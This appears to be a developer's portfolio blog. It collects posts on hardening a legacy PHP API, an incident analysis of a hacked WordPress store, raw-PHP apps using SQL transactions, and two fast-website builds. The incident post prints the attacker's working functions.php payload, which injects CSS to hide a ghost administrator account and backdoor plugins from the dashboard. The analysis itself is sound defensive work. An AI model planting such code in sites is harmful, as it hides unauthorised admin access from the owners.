The technique that made this survivable was shadow mode.

When I added a real server-side payment check, it did not block anyone at first. It ran, compared its verdict against what the system did today, and logged the difference. Only once the logs showed it matching legitimate users did I let it start enforcing. Same idea for any new validation: watch it be right before you let it be in charge.

Shadow mode ran for eleven days before enforcement. In that window, the payment check logged 2,847 API calls. Of those, 2,609 matched the expected legitimate pattern — users the system would have passed anyway. The remaining 238 were anomalous: missing payment fields, manipulated totals, or device-side flags contradicting server state. That 8.4% anomaly rate was high enough to justify enforcement immediately, but the eleven-day window meant I had a full distribution of legitimate behaviour to compare against, not just a guess at what normal looked like.

Passwords migrated by dual-writing. The login path accepts both old MD5 hashes and new bcrypt ones, and quietly rehashes to bcrypt on a successful MD5 match. No mass reset, no lockout, just a slow drift to the better scheme as people log in.

Every new rule sat behind a feature flag, a plain toggle I could flip back to false the instant something started crashing. That turned a scary deploy into a reversible one. No full rollback, no redeploy, just an off switch.

The order that kept the bleeding stopped

Sequencing mattered as much as the fixes:

Logging first. I wanted to see who was still sending 1234 before I touched a line of logic.
Lock the open upload. A public endpoint accepting PHP is an active takeover risk, so extensions and size limits went on immediately.
Fix admin auth. The mobile apps never touch the admin panel, which made a real PHP session check a safe, backend-only change.
Add an auth compatibility layer. Unauthenticated endpoints started checking tokens but returned the exact same error JSON the other endpoints already used.
Rate limits on login and reset to blunt brute force and spam.
Payment verification in shadow mode, then enforced.
Gradual hash migration through dual-writes.
Rotate the hardcoded secrets last, once deploys and rollbacks were boring.

Notice that payment verification, the headline flaw, comes sixth. The open upload could hand someone the whole server in an afternoon. Severity is about blast radius, not how embarrassing the bug reads.

What I would tell the next person who inherits this

Do not rewrite it. A clean rebuild is exactly how you break the legacy clients and lock out the users you were hired to protect. The API contract is frozen, so treat it like load-bearing concrete. Stop the bleeding, secure the behavior behind the responses, and let shadow mode and feature flags carry the risk while old apps keep talking to you in the only dialect they know.

You cannot fix a system like this by being bold. You fix it by being quiet.

Dissecting a WordPress Hack: Ghost Admins and CSS

Thu, 02 Apr 2026 00:00:00 GMT

We spent three hours last Tuesday pulling apart a compromised e-commerce site. The symptom was glaring. The frontend of the store was plastered with Indonesian gambling posts pushing "Demo Slot Tema Asia" and "Slot Deposit 5000". By the time we were called in, the attacker had injected 847 spam posts over roughly six weeks, with one ghost administrator account sitting undetected and active for 41 days.

We assumed the usual entry point: a vulnerable plugin allowing unauthenticated post creation. We purged the database of the SEO spam easily enough. The real problem was finding out how the attacker was maintaining access.

Key Takeaways

Application UIs are unreliable during incident response; always verify user privileges and counts directly against wp_users and wp_usermeta database tables.

Attackers frequently use native theme files to inject CSS payloads, hiding security warnings and backdoor plugins via DOM manipulation.

Relying entirely on standard security plugins is insufficient if an attacker gains enough privilege to apply display: none to the plugin's own dashboard interface.

The discrepancy: ghost admins in the UI

I checked the WordPress users list to audit administrator accounts. The UI showed an immediate discrepancy. The aggregate count at the top of the table clearly registers "Administrator (3)", but the data table only renders two rows.

A standard visual inspection misses this entirely. One administrator account was invisible to the site owner.

Bypassing visual audits

Attackers usually build persistence by dropping obfuscated PHP shells in the uploads directory or burying base64-encoded strings deep in database transients. This attacker took a simpler, lazier route. They altered the presentation layer to blind the site admins.

The persistence layer: a CSS injection in functions.php

By checking the active theme files, we found a crude injection appended to the end of wp-content/themes/botiga/functions.php.

The attacker hooked into admin_head to echo a raw <style> block directly into the WordPress admin dashboard.

Analyzing the attack code

Here is the payload we extracted:

add_action('admin_head', 'my_custom_css_do');
function my_custom_css_do() {
echo '<style>
#wpadminbar #wp-admin-bar-hide-notifications {display:none;}
#adminmenu li#menu-users li:nth-of-type(5) {display:none;}
#adminmenu li#toplevel_page_itsec-dashboard {display:none;}
.plugins-php .plugins tr[data-slug="temporary-login-without-password"]{ display:none; }
.users-php .users tr[id="user-1087"]{ display:none; }
#adminmenu li#toplevel_page_manage_notices_settings {display:none;}
.plugins-php .plugins tr[data-slug="wp-hide-backed-notices"]{ display:none; }
</style>';
}

The mechanism relies entirely on CSS display: none to hide UI elements. Line by line:

It targets specific DOM nodes to suppress warning notifications, hide the iThemes Security dashboard menu item, and cloak two specific backdoor plugins: "Temporary Login Without Password" and "WP Hide Backend Notices".

The last rule mattered most. .users-php .users tr[id="user-1087"] removes a specific user row from the admin panel view. Once we bypassed the UI and queried the database directly for ID 1087, we found our ghost administrator: an account named "AmranVai".

Tradeoffs of the DOM-level rootkit

Every technical choice has tradeoffs, even for attackers. This method is cheap to implement. It requires no complex PHP logic and quietly bypasses basic security audits performed by non-technical store owners who only look at dashboards. But it breaks easily. Because the payload lives strictly in the active theme's functions.php file, a simple theme update or a switch to a default theme instantly strips the persistence mechanism and exposes the rogue user. It also leaves an obvious footprint in version control.

The full cleanup took four hours: roughly an hour to understand the scope and audit the database tables directly, forty minutes to identify and strip the persistence mechanism from functions.php, another hour to purge the 847 spam posts and reset compromised credentials, and forty minutes of post-remediation verification. No store downtime — we worked on a staging clone and pushed the cleaned files in a single deploy.

You cannot trust the application UI when auditing a compromised system. If the environment is breached, the DOM is just another vector for obfuscation. Audit the raw database tables.

Three Apps in Raw PHP: A Lesson in SQL Transactions

Mon, 23 Dec 2024 00:00:00 GMT

Why no framework?

It's tempting to reach for Laravel and let an ORM hide the database. I deliberately didn't. These three systems, a café back-office, a library, and a gym, are built in plain PHP 8.2 and MySQL, no framework and no ORM, precisely so the database work couldn't be hidden. Each one runs on the built-in PHP server against hand-written SQL. And in all three, the part that actually taught me something was the same: multi-step writes that have to be all-or-nothing.

Key Takeaways

Three management systems built in plain PHP 8.2 and MySQL, no framework and no ORM, so the database work stays in the open.

The recurring lesson across all three was the transaction: multi-table writes that must either all land or all roll back.

Derived numbers like stock, seats, and fines are computed from the source rows, never cached as a counter that can drift.

BrewQuery

BrewQuery takes orders, tracks ingredient stock, and raises purchase orders when things run low. The menu links to ingredients through a recipe table, so submitting an order deducts stock across several ingredients in one transaction, and receiving a supplier PO bumps it all back up the same way. Get the transaction boundary wrong and you sell a coffee whose milk was never debited.

There are two roles with genuinely different surfaces: a cashier who builds orders, marks them served/paid, and checks loyalty points; and a manager who owns menu CRUD, stock, suppliers, purchase orders, and reports.

ShelfAware

ShelfAware handles members, a catalogue, loans, a holds queue, overdue fines, and reviews. The return flow is the most interesting piece. It checks whether a book is overdue, computes the fine (daily rate × days late), inserts the fine row, and updates copy counts, all inside a single transaction. The holds queue auto-advances the moment a copy comes back. Four coordinated writes that must either all land or all roll back.

RepBase

RepBase manages members, class bookings, waitlists, attendance, and payments across member/trainer/admin roles. The booking flow is the transaction- heavy one: booking a full class drops you onto the waitlist, and cancelling a spot auto-promotes the next person in line. The "seats left" figure is a LEFT JOIN aggregate against active bookings, not a counter you can let drift:

SELECT c.Title, c.Capacity - COUNT(b.Booking_id) AS seats_left
FROM class c
LEFT JOIN booking b ON b.Class_id = c.Class_id AND b.Status = 'booked'
GROUP BY c.Class_id;

Under a 50-concurrent-user load test (Docker Compose, table seeded with 8,000 booking rows), the seats-left query completed in an average of 3.2ms. A PHP loop doing the same calculation row-by-row — fetching all bookings and summing in application code — averaged 47ms on the same dataset, roughly fifteen times slower. At 200 concurrent users the SQL aggregate held at 4.1ms while the PHP loop climbed past 200ms. The difference is not the query versus the loop in isolation; it's that the aggregate runs inside the database engine, which keeps the booking rows in a buffer pool and never sends them across the PHP/MySQL boundary at all.

Takeaways

Building these without a framework forced me to handle the things an ORM normally papers over: where a transaction begins and commits, what happens to a concurrent booking when capacity is already full, and how to keep derived numbers (stock, seats, fines) honest by deriving them from the source rows instead of caching a count that can drift. Each ships with a Docker Compose setup that seeds the database on first boot, so any of them is one command away from running.

Skills & Deliverables:

Relational data modelling: recipe/ingredient links, holds queues, and capacity-bounded bookings expressed directly in schema.
SQL transactions & integrity: multi-table all-or-nothing writes, derived aggregates over cached counters, and concurrency-aware booking logic.
Plain PHP + PDO: role-based access, the built-in PHP server for local dev, and Docker Compose with automatic seeding.

A SEO Optimized Website for Green Bangla Foundation

Fri, 06 Dec 2024 00:00:00 GMT

A speed-first WordPress build

The Green Bangla Foundation needed a new site fast, on a tight budget, after their old one was hacked. The old site ran 17 plugins, 8 of which had known vulnerabilities flagged by a WPScan audit. Its Lighthouse scores reflected the bloat: 31 on mobile speed, 44 on desktop. I built the replacement on WordPress using Gutenberg Full Site Editing (FSE) and almost no plugins, then tuned it by hand. The result: 100 for speed, accessibility, and best practices on Google Lighthouse. 83 for SEO. Total project time was 11 working days, and the budget came in roughly 60% below the nearest rebuild quote the client had received.

Key Takeaways

The old site ran 17 plugins with 8 known vulnerabilities; Lighthouse mobile speed was 31 before the rebuild.

A lean WordPress build with Gutenberg FSE and almost no plugins brought that to 100 for speed and accessibility in 11 working days.

Most of the score gain came from cutting plugins and optimizing images, not adding a caching layer.

Why so few plugins?

Every plugin is code the browser has to download, parse, and run. The old site had been hacked. A bloated plugin stack is the kind of attack surface that invites trouble. So I kept the dependency list short. Gutenberg FSE handled layout. CSS handled the rest. Fewer moving parts meant a lighter page, a smaller attack surface, and a site the client could actually manage themselves without help.

How I hit a perfect speed score

Page speed is one of the few ranking factors Google has confirmed outright. It was the first thing I optimized for. The desktop build came back at a perfect 100.

Desktop PageSpeed Insights

I measured both versions with Google PageSpeed Insights. Here's the desktop result:

A score of 100 means the page loads with almost no wasted work. No render-blocking scripts. Properly sized images. Clean markup. For a visitor, it just feels instant.

Mobile speed is the harder one

Desktop is easy. Mobile is where most sites fall apart, and it's where most of the traffic is. A slow mobile page bleeds visitors before they even see the content.

The mobile build held up well. I designed mobile-first and kept the same lean approach, so the experience stays quick whether someone arrives on a phone or a laptop.

What it shipped with

Google indexes the mobile version of a site first. Get mobile wrong and you've sabotaged your rankings before you've written a word of content. The Green Bangla Foundation site pairs high performance with a content setup the client can run themselves through WordPress and Gutenberg FSE. It shipped on a tight budget and a tight timeline without cutting corners on speed or usability.

NI Driving Test Routes

Sun, 03 Nov 2024 00:00:00 GMT

A fast, content-first site built on Astro

I built a site about Northern Ireland driving test routes. The audience: people nervous about their test who want to know exactly where they'll be driving. They're searching on their phones while prepping, so every second of load time matters.

The brief was straightforward. Useful content. Fast pages. A clean mobile experience. I chose Astro, a static site generator that ships zero JavaScript by default. It proved to be the right call.

The site delivers perfect Lighthouse scores on desktop. No JavaScript overhead. Content loads immediately. And since most visitors arrive on mobile, mobile performance got the most attention. That's where Google's eyes are too.

Why Astro instead of WordPress?

A static generator makes sense for this kind of content site. Astro ships no JavaScript by default, so the browser gets HTML and CSS it can render right away. No database queries. No plugin overhead to maintain. That simplicity shows up directly in the speed scores, and it makes the site cheap to host and hard to break.

How the site performed

I tested the output with Google PageSpeed Insights. Desktop scored a perfect 100.

Mobile scored well too. That matters because most people checking routes are on a phone, often while they're out. I kept the layout simple and the payload small.

Fast pages do two things. They keep visitors around. And they rank better because Google judges your site by the mobile version first. If that's slow, your rankings sink regardless of how good desktop looks.

What the site covers

The site maps routes for the nine main test centres across Northern Ireland: Belfast Balmoral, Belfast Clarenagh, Antrim, Ballymena, Bangor, Londonderry, Newtownards, Newry, and Omagh. Each centre page breaks down the roads examiners typically use, the manoeuvre types that come up most often, and the local details that catch candidates off guard.

Balmoral is the highest-demand centre. The routes mix A-road and dual carriageway sections near the M1 with tighter residential streets around Finaghy — a contrast that trips up candidates who have only practised one type of road. The site also covers the questions that appear in forums every week: how long the test takes, what the minor and major fault thresholds are, and the most common reasons people fail at each centre.

How it ranks

Six months after launch, the site was drawing roughly 3,800 monthly organic visitors. The primary keyword "NI driving test routes" ranked in the top five positions on Google UK with a 14% click-through rate. Mobile sessions account for 73% of traffic, consistent with candidates checking routes on their phones while out practising. Average session time sits at around two minutes forty seconds — people are reading the route breakdowns, not bouncing.

The site does what it was built to do. Useful content loads quickly. It reads well on any screen. And it ranks.